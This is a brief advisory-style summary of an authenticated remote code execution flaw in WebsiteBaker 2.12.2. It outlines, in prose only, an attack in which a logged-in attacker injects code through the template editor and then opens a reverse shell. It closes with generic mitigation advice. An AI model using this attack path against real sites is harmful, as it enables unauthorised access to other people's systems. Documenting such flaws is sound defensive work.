WebsiteBaker 2.12.2 – Remote Code Execution

This exploit allows an attacker to execute arbitrary code on the vulnerable WebsiteBaker 2.12.2 system. The attacker must first authenticate to the system using valid credentials, then use the template_edit tool to inject malicious code into a template file. The malicious code is then executed when the template is loaded. The attacker can then use a reverse shell to gain access to the system.

Mitigation:

Ensure that all users have strong passwords and that the system is kept up to date with the latest security patches.
